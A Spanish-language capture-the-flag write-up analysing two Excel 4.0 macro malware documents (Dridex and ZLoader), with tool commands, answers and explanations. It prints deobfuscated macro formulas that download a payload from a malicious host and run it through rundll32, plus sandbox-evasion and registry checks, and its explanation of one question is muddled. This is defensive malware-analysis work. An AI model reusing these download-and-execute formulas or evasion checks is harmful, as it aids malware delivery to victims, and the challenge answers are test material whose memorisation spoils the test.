Recently, we have seen a resurgence of Excel-based malicous office documents. Howerver, instead of using VBA-style macros, they are using older style Excel 4 macros. This changes our approach to analyzing these documents, requiring a slightly different set of tools. In this challenge, you’ll get hands-on with two documents that use Excel 4.0 macros to perform anti-analysis and download the next stage of the attack.
Samples:
- Sample1: MD5: fb5ed444ddc37d748639f624397cff2a
- Sample2: MD5: b5d469a07709b5ca6fee934b1e5e8e38
Helpful Tools:
- REMnux VM
- XLMDeobfuscator
- OLEDUMP with PLUGIN_BIFF
- Office IDE
Suggested Resources:
- Example Excel 4 macro analysis from Hack-in-the-Box 2020 workshop
- Excel 4 macro reference for Get.Workspace
#1 Respuesta: VelvetSweatshop
Sample1: What is the document decryption password?
Obtención de la evidencia
python msoffcrypto-crack.py sample1-fb5ed444ddc37d748639f624397cff2a.bin
Password found: VelvetSweatshop
Decodificamos el archivo binario utilizando la herramienta msoffcrypto-tool, aplicando la contraseña obtenida
msoffcrypto-tool -p VelvetSweatshop sample1-fb5ed444ddc37d748639f624397cff2a.bin sample1.bin
Más información
#2 Respuesta: SOCWNEScLLxkLhtJ
Sample1: This document contains six hidden sheets. What are their names? Provide the value of the one starting with S.
Obtención de la evidencia
Para analizar el documento malicioso, se utilizó el software olevba (versión 0.60.2), que permitió identificar la presencia de múltiples hojas ocultas en el archivo. De particular interés es la hoja con un nombre que comienza con la letra ‘S’, identificada como SOCWNEScLLxkLhtJ. Esta hoja es una hoja de macros de Excel 4.0, lo que indica su posible uso para actividades maliciosas, dado que estas hojas se utilizan comúnmente para ejecutar código automatizado en documentos maliciosos.
El análisis detallado se realizó utilizando el siguiente comando:
olevba3.py sample1.bin
Output:
===============================================================================
FILE: sample1-fb5ed444ddc37d748639f624397cff2a.bin
Type: OLE
No VBA or XLM macros found.
===============================================================================
FILE: /tmp/oletools-decrypt-pd4gg8ti.bin in sample1-fb5ed444ddc37d748639f624397cff2a.bin
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO xlm_macro.txt
in file: xlm_macro - OLE stream: 'xlm_macro'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' 0085 25 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - SOCWNEScLLxkLhtJ
' 0085 25 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - OHqYbvYcqmWjJJjs
' 0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - Macro
' 0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - Macro
' 0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - Macro
' 0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - Macro
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d SOCWNEScLLxkLhtJ!A1275
' 002a 2 PRINTHEADERS : Print Row/Column Labels
Durante la ejecución de este comando, se identificaron las siguientes hojas ocultas:
- SOCWNEScLLxkLhtJ (Hoja de macro Excel 4.0, oculta)
- OHqYbvYcqmWjJJjs (Hoja de macro Excel 4.0, oculta)
- Macro (Múltiples instancias, hojas de macro Excel 4.0, ocultas)
Además, se corroboró la estructura del documento con la herramienta ExifTool, que también confirmó la existencia de estas hojas ocultas, destacando nuevamente la hoja SOCWNEScLLxkLhtJ. Esto respalda la hipótesis de que esta hoja está involucrada en la ejecución de funciones automatizadas maliciosas.
exiftool sample1-fb5ed444ddc37d748639f624397cff2a.bin
Output:
ExifTool Version Number : 12.57
File Name : sample1-fb5ed444ddc37d748639f624397cff2a.bin
Directory : .
File Size : 97 kB
File Modification Date/Time : 2020:07:24 04:50:18+02:00
File Access Date/Time : 2024:08:16 08:33:25+02:00
File Inode Change Date/Time : 2024:08:16 08:23:37+02:00
File Permissions : -rw-r--r--
File Type : XLS
File Type Extension : xls
MIME Type : application/vnd.ms-excel
Comp Obj User Type Len : 38
Comp Obj User Type : Microsoft Office Excel 2003 Worksheet
Author :
Last Modified By :
Software : Microsoft Excel
Create Date : 2020:04:01 11:48:22
Modify Date : 2020:04:02 12:21:34
Security : Password protected
Code Page : Windows Latin 1 (Western European)
App Version : 12.0000
Scale Crop : No
Links Up To Date : No
Shared Doc : No
Hyperlinks Changed : No
Title Of Parts : Sheet1, Sheet2, Sheet3, SOCWNEScLLxkLhtJp, OHqYbvYcqmWjJJjsF, Macro2, Macro3, Macro4, Macro5
Heading Pairs : Worksheets, 3, Excel 4.0 Macros, 6
La información relevante extraída con ExifTool incluye:
- Título de las partes: Sheet1, Sheet2, Sheet3, SOCWNEScLLxkLhtJp, OHqYbvYcqmWjJJjsF, Macro2, Macro3, Macro4, Macro5
Ambos análisis confirman la presencia de la hoja SOCWNEScLLxkLhtJ como una entidad crítica que empieza por la letra «S».
#3 Respuesta: http://rilaer.com
Sample1: What URL is the malware using to download the next stage? Only include the second-level and top-level domain. For example, xyz.com.
Obtención de la evidencia
Para identificar la URL utilizada por el malware para descargar la siguiente fase, se empleó el comando oledump junto con el plugin plugin_biff.py. El análisis se centró en la extracción de cadenas de texto dentro del archivo, filtrando aquellas que contenían la palabra clave «http» mediante el comando grep.
El comando ejecutado fue:
oledump.py sample1.bin -p /opt/oledump/plugin_biff.py --pluginoptions '-x' | grep "http"
Output:
"0207 56 STRING : String Value of a Formula - b'http://rilaer.com/IfAmGZIJjbwzvKNTxSPM/ixcxmzcvqi.exe'"
"0207 32 STRING : String Value of a Formula - b'http://rilaer.com/IfAmGZIJjbw'"
"0207 56 STRING : String Value of a Formula - b'http://rilaer.com/IfAmGZIJjbwzvKNTxSPM/ixcxmzcvqi.exe'"
Este análisis reveló la siguiente URL incrustada en el documento:
La evidencia muestra que el dominio de segundo y nivel superior al que se conecta el malware es rilaer.com, el cual es utilizado para descargar componentes adicionales del malware.
#4 Respuesta: Dridex
Sample1: What malware family was this document attempting to drop?
Obtención de la evidencia
Anteriormente se identificó que el dominio utilizado para descargar el malware era rilaer.com y que el archivo malicioso se denominaba ixcxmzcvqi.exe. Para determinar a qué familia de malware pertenece este archivo, se realizó una búsqueda en la base de datos de MalwareBazaar.
La consulta en MalwareBazaar confirmó que el archivo ixcxmzcvqi.exe pertenece a la familia de malware Dridex, un conocido troyano bancario utilizado para robar credenciales y realizar fraudes financieros.
#5 Respuesta: CSHykdYHvi
Sample2: This document has a very hidden sheet. What is the name of this sheet?
Obtención de la evidencia
Se utilizó la herramienta oledump.py junto con el plugin plugin_biff.py para investigar la existencia de hojas ocultas en el archivo sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin. El objetivo era identificar cualquier hoja marcada como «very hidden».
El análisis se llevó a cabo filtrando los resultados por el término «hidden» con el siguiente
oledump.py sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin -p /opt/oledump/plugin_biff.py --pluginoptions '-x' | grep hidden
Output:
0085 18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden - CSHykdYHvi
"0018 29 LABEL : Cell Value, String Constant - _xlfn.CONCAT hidden len=2 ptgErr *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\\x1d'"
Como resultado, se identificó la siguiente hoja «very hidden»:
- CSHykdYHvi (Hoja de macros de Excel 4.0, muy oculta)
Además, se encontró una cadena relacionada con una fórmula incompleta en la misma hoja, lo que sugiere la presencia de contenido malicioso o intencionalmente alterado para evadir la detección.
#6 Respuesta: VBAWarnings
Sample2: This document uses reg.exe. What registry key is it checking?
Obtención de la evidencia
Mediante el análisis del archivo Sample2 utilizando la herramienta oledump.py con el plugin plugin_biff.py, se identificó un comando específico que emplea reg.exe para interactuar con una clave de registro relacionada con la configuración de seguridad de Microsoft Excel.
oledump.py sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin -p /opt/oledump/plugin_biff.py --pluginoptions '-x'
Output:
'0006 200 FORMULA : Cell Formula - R727C10 len=178 ptgStr "Shell32" ptgStr "ShellExecuteA" ptgStr "JJCCCJJ" ptgInt 0 ptgStr "open" ptgStr "C:\\Windows\\system32\\reg.exe" ptgStr "EXPORT HKCU\\Software\\Microsoft\\Office\\" ptgInt 2 ptgFuncV GET.WORKSPACE (0x00ba) ptgConcat ptgStr "\\Excel\\Security c:\\users\\public\\1.reg /y" ptgConcat ptgInt 0 ptgInt 5 ptgFuncVarV args 9 func CALL (0x0096) '
0006 45 FORMULA : Cell Formula - R728C10 len=23 ptgAttr ptgFuncV NOW (0x004a) ptgStr "00:00:03" ptgAdd ptgFuncVarV args 1 func WAIT (0x8095)
'0006 50 FORMULA : Cell Formula - R729C10 len=28 ptgStr "c:\\users\\public\\1.reg" ptgFuncVarV args 1 func FOPEN (0x0084) '
0006 38 FORMULA : Cell Formula - R730C10 len=16 ptgRefV R729C10 ptgAttr ptgInt 215 ptgFuncVarV args 2 func FPOS (0x008b)
0006 37 FORMULA : Cell Formula - R731C10 len=15 ptgRefV R729C10 ptgAttr ptgInt 255 ptgFuncV FREAD (0x0088)
'0207 131 STRING : String Value of a Formula - b\'"VBAWarnings"=dword:00000002\''
0006 30 FORMULA : Cell Formula - R732C10 len=8 ptgRefV R729C10 ptgFuncV FCLOSE (0x0085)
'0006 50 FORMULA : Cell Formula - R733C10 len=28 ptgStr "c:\\users\\public\\1.reg" ptgFuncVarV args 1 func FILE.DELETE (0x8006) '
0006 71 FORMULA : Cell Formula - R734C10 len=49 ptgStr "0001" ptgRefV R731C10 ptgFuncVarV args 2 func SEARCH (0x0052) ptgFuncV ISNUMBER (0x0080) ptgAttr ptgBool FALSE ptgFuncVarV args 1 func CLOSE (0x8010) ptgAttr ptgRef R1C10 ptgFuncV GOTO (0x0035) ptgAttr ptgFuncVarV args 3 func IF (0x0001)
Análisis Detallado
- Comando
reg.exe
:- El comando identificado es:
"C:\\Windows\\system32\\reg.exe" EXPORT HKCU\\Software\\Microsoft\\Office\\Excel\\Security c:\\users\\public\\1.reg /y
. - Este comando exporta la clave de registro ubicada en
HKCU\Software\Microsoft\Office\Excel\Security
al archivoc:\users\public\1.reg
.
- El comando identificado es:
- Clave de Registro Específica:
- Dentro de esta clave de registro, el análisis ha identificado una configuración importante bajo el nombre
VBAWarnings
.
- Dentro de esta clave de registro, el análisis ha identificado una configuración importante bajo el nombre
- **Significado de
VBAWarnings
:VBAWarnings
es un valor dentro de la clave de registro que controla cómo Excel maneja las advertencias de seguridad relacionadas con la ejecución de macros VBA (Visual Basic for Applications).- Este valor determina si Excel muestra una advertencia al usuario cuando se intenta ejecutar un macro VBA potencialmente peligroso.
- **Valor
dword:00000002
:- El valor
dword:00000002
en el contexto deVBAWarnings
significa que Excel está configurado para deshabilitar las macros con advertencia. - Esto implica que si un documento contiene macros VBA, Excel alertará al usuario y ofrecerá la opción de habilitarlas o no. Sin embargo, el hecho de que esta configuración sea manipulada puede ser un intento del malware para modificar la seguridad y facilitar la ejecución de macros maliciosos sin el conocimiento del usuario.
- El valor
Conclusión
El documento malicioso está verificando y exportando la clave de registro HKCU\Software\Microsoft\Office\Excel\Security
y, específicamente, está interactuando con el valor VBAWarnings
. Al configurar este valor en dword:00000002
, el malware podría estar intentando manipular las advertencias de seguridad de Excel para facilitar la ejecución de macros maliciosos.
#7 Respuesta: 0x1
Sample2: From the use of reg.exe, what value of the assessed key indicates a sandbox environment?
Obtención de la evidencia
El análisis del documento Sample2 se realizó usando herramientas como oledump.py y XLMMacroDeobfuscator. Aquí se detalla cómo se determinó el valor que indica un entorno de sandbox:
Uso de reg.exe
:
El documento contiene fórmulas en una hoja de Excel que ejecutan comandos para manipular el registro de Windows utilizando reg.exe
. El comando relevante es:
0006 200 FORMULA : Cell Formula - R727C10 len=178 ptgStr "Shell32" ptgStr "ShellExecuteA" ptgStr "JJCCCJJ" ptgInt 0 ptgStr "open" ptgStr "C:\\Windows\\system32\\reg.exe" ptgStr "EXPORT HKCU\\Software\\Microsoft\\Office\\" ptgInt 2 ptgFuncV GET.WORKSPACE (0x00ba) ptgConcat ptgStr "\\Excel\\Security c:\\users\\public\\1.reg /y" ptgConcat ptgInt 0 ptgInt 5 ptgFuncVarV args 9 func CALL (0x0096)
Este comando exporta la clave de registro HKCU\Software\Microsoft\Office\Excel\Security
a un archivo llamado 1.reg
.
2. Análisis de la Fórmula:
El archivo 1.reg
contiene una entrada específica de registro:
0207 131 STRING : String Value of a Formula - b'"VBAWarnings"=dword:00000002'
El valor dword:00000002
se encuentra bajo la clave de registro VBAWarnings
.
3. Deobfuscación del Macro:
Utilizando XLMMacroDeobfuscator
, el análisis reveló el siguiente comportamiento del macro:
CELL:J734 , Branching , IF(ISNUMBER(SEARCH("0001",J731)),CLOSE(FALSE),GOTO(J1))
Output:
Unencrypted xls file
[Loading Cells]
SHRFMLA (sub): 0 0 1 8 6
SHRFMLA (sub): 9 9 1 8 8
SHRFMLA (sub): 19 19 1 7 7
SHRFMLA (sub): 26 26 0 7 8
auto_open: auto_open->'CSHykdYHvi'!$J$727
[Starting Deobfuscation]
CELL:J727 , FullEvaluation , CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\GET.WORKSPACE(2)\Excel\Security c:\users\public\1.reg /y",0,5)
CELL:J728 , PartialEvaluation , =WAIT("45520.44706018518600:00:03")
CELL:J729 , FullEvaluation , FOPEN("c:\users\public\1.reg",1)
CELL:J730 , PartialEvaluation , =FPOS(FOPEN("c:\users\public\1.reg",1),215)
CELL:J732 , PartialEvaluation , =FCLOSE(FOPEN("c:\users\public\1.reg",1))
CELL:J733 , PartialEvaluation , =FILE.DELETE("c:\users\public\1.reg")
CELL:J734 , Branching , IF(ISNUMBER(SEARCH("0001",J731)),CLOSE(FALSE),GOTO(J1))
CELL:J734 , FullEvaluation , [FALSE] GOTO(J1)
CELL:J1 , FullEvaluation , FORMULA("=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)",K2)
CELL:J2 , FullEvaluation , FORMULA("=IF(GET.WORKSPACE(14)<381, CLOSE(FALSE),)",K4)
CELL:J4 , FullEvaluation , FORMULA("=SHARED FMLA at rowx=0 colx=1IF(GET.WORKSPACE(19),,CLOSE(TRUE))",K5)
CELL:J5 , FullEvaluation , FORMULA("=SHARED FMLA at rowx=0 colx=1IF(GET.WORKSPACE(42),,CLOSE(TRUE))",K6)
CELL:J6 , FullEvaluation , FORMULA("=SHARED FMLA at rowx=0 colx=1IF(ISNUMBER(SEARCH(""Windows"",GET.WORKSPACE(1))), ,CLOSE(TRUE))",K7)
CELL:J7 , FullEvaluation , FORMULA("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,""https://ethelenecrace.xyz/fbb3"",""c:\Users\Public\bmjn5ef.html"",0,0)",K8)
CELL:J8 , FullEvaluation , FORMULA("=SHARED FMLA at rowx=0 colx=1ALERT(""The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt."",2)",K9)
CELL:J9 , FullEvaluation , FORMULA("=CALL(""Shell32"",""ShellExecuteA"",""JJCCCJJ"",0,""open"",""C:\Windows\system32\rundll32.exe"",""c:\Users\Public\bmjn5ef.html,DllRegisterServer"",0,5)",K11)
CELL:J11 , FullEvaluation , FORMULA("=SHARED FMLA at rowx=0 colx=1CLOSE(FALSE)",K12)
CELL:J12 , PartialEvaluation , =WORKBOOK.HIDE("CSHykdYHvi",TRUE)
CELL:J13 , FullEvaluation , GOTO(K2)
CELL:K2 , FullEvaluation , IF(GET.WORKSPACE(13)<770,CLOSE(FALSE),)
CELL:K4 , FullEvaluation , IF(GET.WORKSPACE(14)<381,CLOSE(FALSE),)
Error [deobfuscator.py:2586 parse_tree = self.xlm_parser.parse(formula)]: Unexpected token Token('NAME', 'FMLA') at line 1, column 9.
Expected one of:
* L_PRA
* CMPOP
* ADDITIVEOP
* $END
* EXCLAMATION
* CONCATOP
* MULTIOP
Previous tokens: [Token('NAME', 'SHARED')]
Esta fórmula busca la cadena 0001
en el archivo de registro. La función ISNUMBER
verifica si el resultado de la búsqueda es un número. La presencia de 0001
(que en decimal es 1
) es crucial.
Explicación Detallada
Valor de Registro Indicativo de Sandbox:
-
Clave de Registro Evaluada: La clave evaluada es
HKCU\Software\Microsoft\Office\Excel\Security
. El valorVBAWarnings
dentro de esta clave es clave para la detección de un entorno sandbox. -
Valor de Registro: El valor
dword:00000002
en la claveVBAWarnings
indica un nivel específico de advertencias de VBA configurado en la aplicación de Excel. Para entornos sandbox, es común que se configuren valores que representen comportamientos seguros o restringidos, y en este caso específico,0001
(o0x1
en hexadecimal) es un valor que puede indicar la presencia de un entorno sandbox. -
Confirmación con la Fórmula: La fórmula de Excel
IF(ISNUMBER(SEARCH("0001",J731)),CLOSE(FALSE),GOTO(J1))
utilizaSEARCH("0001", J731)
para determinar si la cadena0001
está presente en el archivo de registro exportado. La funciónISNUMBER
confirma si el resultado es un número, y en función de esto, el macro decide si cerrar la aplicación o continuar. -
Conclusión: El análisis confirma que el valor
0x1
(001) en la clave de registroVBAWarnings
se usa para indicar un entorno de sandbox. Esto se debe a que la fórmula de Excel está diseñada para buscar este valor específico y tomar decisiones basadas en su presencia, sugiriendo que este valor es usado para identificar configuraciones relacionadas con entornos de prueba o sandbox.
#8 Respuesta: GET.WORKSPACE
Sample2: This document performs several additional anti-analysis checks. What Excel 4 macro function does it use?
Obtención de la evidencia
En el análisis del documento, se identificó que la función GET.WORKSPACE
se utiliza para realizar comprobaciones adicionales relacionadas con el entorno de ejecución. Este hallazgo se basa en el output obtenido en la pregunta anterior de la herramienta de análisis Utilizando XLMMacroDeobfuscator
, el análisis reveló el siguiente comportamiento del macro:
que muestra el uso de la función GET.WORKSPACE
en diversas fórmulas de macros Excel 4.0 (XLM).
CELL:J1 , FullEvaluation , FORMULA("=IF(GET.WORKSPACE(13)<770,CLOSE(FALSE),)",K2)
CELL:J2 , FullEvaluation , FORMULA("=IF(GET.WORKSPACE(14)<381,CLOSE(FALSE),)",K4)
CELL:J4 , FullEvaluation , FORMULA("=SHARED FMLA at rowx=0 colx=1IF(GET.WORKSPACE(19),,CLOSE(TRUE))",K5)
CELL:J5 , FullEvaluation , FORMULA("=SHARED FMLA at rowx=0 colx=1IF(GET.WORKSPACE(42),,CLOSE(TRUE))",K6)
#9 Respuesta: Windows
Sample2: This document checks for the name of the environment in which Excel is running. What value is it using to compare?
Tras realizar el análisis del documento Sample2 en la pregunta #7, pudimos identificar mediante la herramienta XLMMacroDeobfuscator
varias fórmulas que emplean la función GET.WORKSPACE
para realizar comprobaciones sobre el entorno de ejecución. Sin embargo, el detalle específico sobre el nombre del entorno se revela en el uso de la función SEARCH
en la fórmula encontrada durante la deobfuscación:
CELL:J6: =IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,CLOSE(TRUE))
Explicación:
GET.WORKSPACE(1)
: La funciónGET.WORKSPACE
con el parámetro 1 se utiliza para obtener información sobre el entorno de ejecución. En este caso,GET.WORKSPACE(1)
devuelve un string que contiene el nombre del entorno.SEARCH("Windows", GET.WORKSPACE(1))
: La funciónSEARCH
busca el término «Windows» en el resultado devuelto porGET.WORKSPACE(1)
. La funciónISNUMBER
se usa para verificar si «Windows» está presente en el resultado.IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,CLOSE(TRUE))
: La fórmula completa compara el resultado de la búsqueda con el término «Windows». Si el término «Windows» se encuentra en el string obtenido deGET.WORKSPACE(1)
, no realiza ninguna acción adicional; de lo contrario, cierra la hoja de cálculo.
Conclusión:
El valor que el documento Sample2 utiliza para comparar es «Windows». Esto indica que la macro verifica si el entorno en el que Excel está ejecutándose contiene el término «Windows» en su información de entorno. Esta técnica se utiliza para determinar el sistema operativo o el entorno en el que se está ejecutando Excel.
#10 Respuesta: DLL
Obtención de la Evidencia:
Para identificar el tipo de payload descargado por el documento Sample2, analizamos las fórmulas utilizadas en el macro Excel del archivo sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin. En particular, hemos revisado las fórmulas que invocan funciones del sistema para entender el comportamiento del archivo.
En el análisis del archivo, encontramos la siguiente línea en el output:
CELL:J9
:=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\bmjn5ef.html,DllRegisterServer",0,5)
Explicación:
- Fórmula Identificada: La fórmula en la celda J9 utiliza la función
CALL
para ejecutarShellExecuteA
desde la bibliotecaShell32
. Esta función es utilizada para ejecutar comandos del sistema operativo. - Comando Ejecutado: El comando ejecutado es
C:\Windows\system32\rundll32.exe
, que es una utilidad de Windows para ejecutar funciones almacenadas en DLLs (Dynamic Link Libraries). El argumento adicional"c:\Users\Public\bmjn5ef.html,DllRegisterServer"
indica querundll32.exe
está siendo utilizado para ejecutar una funciónDllRegisterServer
en el archivo descargadobmjn5ef.html
. - Tipo de Archivo: Aunque el archivo se guarda con la extensión
.html
, el uso derundll32.exe
con el argumentoDllRegisterServer
indica que el archivo contiene una DLL (Dynamic Link Library). La funciónDllRegisterServer
es un método estándar en las DLLs para registrar el archivo en el sistema. La extensión.html
es una técnica común de evasión para ocultar el verdadero propósito del archivo, que en este caso es una DLL.
Conclusión:
Sample2: What type of payload is downloaded?
Para determinar el tipo de payload descargado por el documento Sample2, realizamos un análisis exhaustivo de las fórmulas presentes en el macro Excel del archivo sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin. Utilizando la herramienta XLMMacroDeobfuscator, examinamos detalladamente las fórmulas extraídas en el output de la pregunta #7. En particular, nos centramos en las fórmulas que llaman a funciones del sistema operativo para comprender el comportamiento del archivo y la naturaleza del payload descargado.
CELL:J9: =CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\bmjn5ef.html,DllRegisterServer",0,5)
Explicación:
- Fórmula Identificada: La fórmula en la celda J9 utiliza la función
CALL
para ejecutarShellExecuteA
desde la bibliotecaShell32
. Esta función es utilizada para ejecutar comandos del sistema operativo. - Comando Ejecutado: El comando ejecutado es
C:\Windows\system32\rundll32.exe
, que es una utilidad de Windows para ejecutar funciones almacenadas en DLLs (Dynamic Link Libraries). El argumento adicional"c:\Users\Public\bmjn5ef.html,DllRegisterServer"
indica querundll32.exe
está siendo utilizado para ejecutar una funciónDllRegisterServer
en el archivo descargadobmjn5ef.html
. - Tipo de Archivo: Aunque el archivo se guarda con la extensión
.html
, el uso derundll32.exe
con el argumentoDllRegisterServer
indica que el archivo contiene una DLL (Dynamic Link Library). La funciónDllRegisterServer
es un método estándar en las DLLs para registrar el archivo en el sistema. La extensión.html
es una técnica común de evasión para ocultar el verdadero propósito del archivo, que en este caso es una DLL.
Conclusión:
El tipo de payload descargado por el documento Sample2 es DLL. Aunque el archivo se guarda con una extensión .html
, la función utilizada para ejecutar el archivo y el argumento pasado a rundll32.exe
indican que el contenido real es una DLL. Esta DLL es ejecutada para registrar su funcionalidad en el sistema, lo que es una técnica común en la distribución de malware para evitar la detección y el análisis.
#11 Respuesta: https://ethelenecrace.xyz/fbb3
Sample2: What URL does the malware download the payload from?
Obtención de la evidencia:
Para identificar la URL desde la cual el malware descarga el payload en el documento Sample2, analizamos el output de la herramienta XLMMacroDeobfuscator utilizada en el macro Excel del archivo sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin. En particular, nos enfocamos en las fórmulas que invocan funciones de descarga de archivos.
En el output proporcionado de la herramienta, encontramos la siguiente línea relevante:
CELL:J7 , FullEvaluation , FORMULA("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,""https://ethelenecrace.xyz/fbb3"",""c:\Users\Public\bmjn5ef.html"",0,0)",K8)
Esta fórmula utiliza la función URLDownloadToFileA
de la biblioteca urlmon para descargar un archivo desde la URL https://ethelenecrace.xyz/fbb3 y guardarlo en el sistema de archivos local en c:\Users\Public\bmjn5ef.html. La evidencia extraída muestra claramente que la URL utilizada por el malware para descargar el payload es https://ethelenecrace.xyz/fbb3.
Conclusión:
El análisis del macro revela que el malware descarga su payload desde la URL https://ethelenecrace.xyz/fbb3. Esta información se obtuvo a partir de la fórmula de Excel que ejecuta la descarga del archivo, como se detalla en la línea de output del XLMMacroDeobfuscator.
#12 Respuesta: bmjn5ef.html
Sample2: What is the filename that the payload is saved as?
Obtención de la evidencia:
Para identificar el nombre del archivo en el que el payload es guardado por el malware en el documento Sample2, revisamos el output de la herramienta XLMMacroDeobfuscator aplicada al macro Excel del archivo sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin. Nos enfocamos en las fórmulas que ejecutan la descarga y almacenamiento del payload.
En el output de la herramienta, encontramos la siguiente línea clave:
CELL:J7 , FullEvaluation , FORMULA("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,""https://ethelenecrace.xyz/fbb3"",""c:\Users\Public\bmjn5ef.html"",0,0)",K8)
La fórmula CALL(«urlmon»,»URLDownloadToFileA»,»JJCCJJ»,0,»https://ethelenecrace.xyz/fbb3″,»c:\Users\Public\bmjn5ef.html»,0,0) muestra que el malware utiliza la función URLDownloadToFileA para descargar el payload desde la URL https://ethelenecrace.xyz/fbb3. El archivo descargado se guarda con el nombre bmjn5ef.html en el directorio c:\Users\Public.
Conclusión:
El nombre de archivo en el que el payload es guardado por el malware es bmjn5ef.html, según se desprende de la fórmula de descarga encontrada en el output del XLMMacroDeobfuscator.
#13 Respuesta: rundll32.exe
Sample2: How is the payload executed? For example, mshta.exe
Obtención de la evidencia:
Para determinar cómo es ejecutado el payload en el documento Sample2, analizamos el output proporcionado por la herramienta XLMMacroDeobfuscator aplicada al archivo sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin. En particular, revisamos la fórmula que describe la ejecución del payload.
La línea clave del output es la siguiente:
CELL:J9 , FullEvaluation , FORMULA("=CALL(""Shell32"",""ShellExecuteA"",""JJCCCJJ"",0,""open"",""C:\Windows\system32\rundll32.exe"",""c:\Users\Public\bmjn5ef.html,DllRegisterServer"",0,5)",K11)
Esta fórmula utiliza la función CALL
para invocar ShellExecuteA
desde la biblioteca Shell32
. En el comando de ejecución, el archivo rundll32.exe
ubicado en C:\Windows\system32\
se utiliza para ejecutar el payload. El payload, guardado como bmjn5ef.html, es pasado a rundll32.exe
con el parámetro DllRegisterServer
, lo que indica que rundll32.exe
es el proceso encargado de ejecutar el payload.
Conclusión:
El payload en el documento Sample2 es ejecutado mediante el proceso rundll32.exe, según se desprende de la fórmula de ejecución encontrada en el output del XLMMacroDeobfuscator.
#14 Respuesta: zloader
Sample2: What was the malware family?
Obtención de la evidencia:
Para identificar la familia del malware en el documento Sample2, inicié la búsqueda con el hash SHA-1 del archivo. El hash fue calculado utilizando el siguiente comando:
sha1sum sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin
Output:
a6265d96a7cf33612dc5286e0e91f8ee21909d8c sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin
Realicé una búsqueda del hash en VirusTotal, donde se identificaron varios nombres para el malware. Aunque inicialmente probé con algunos nombres sin resultados específicos, continué con un análisis más detallado.
Investigación Adicional:
Búsqueda en Google: Utilicé la URL desde la que se descarga el malware (hxxps://ethelenecrace[.]xyz/fbb3
) junto con el término «malware» para realizar una búsqueda en Google. Esta búsqueda me llevó a un post en Twitter que identificaba el malware como ZLoader.
Confirmación en VirusTotal: Posteriormente, regresé a VirusTotal y encontré que TrendMicro lo clasifica como «Trojan.XF.ZLOADER.SMMR2».
Conclusión:
La investigación confirma que el malware presente en el archivo Sample2 pertenece a la familia ZLoader.
:wq!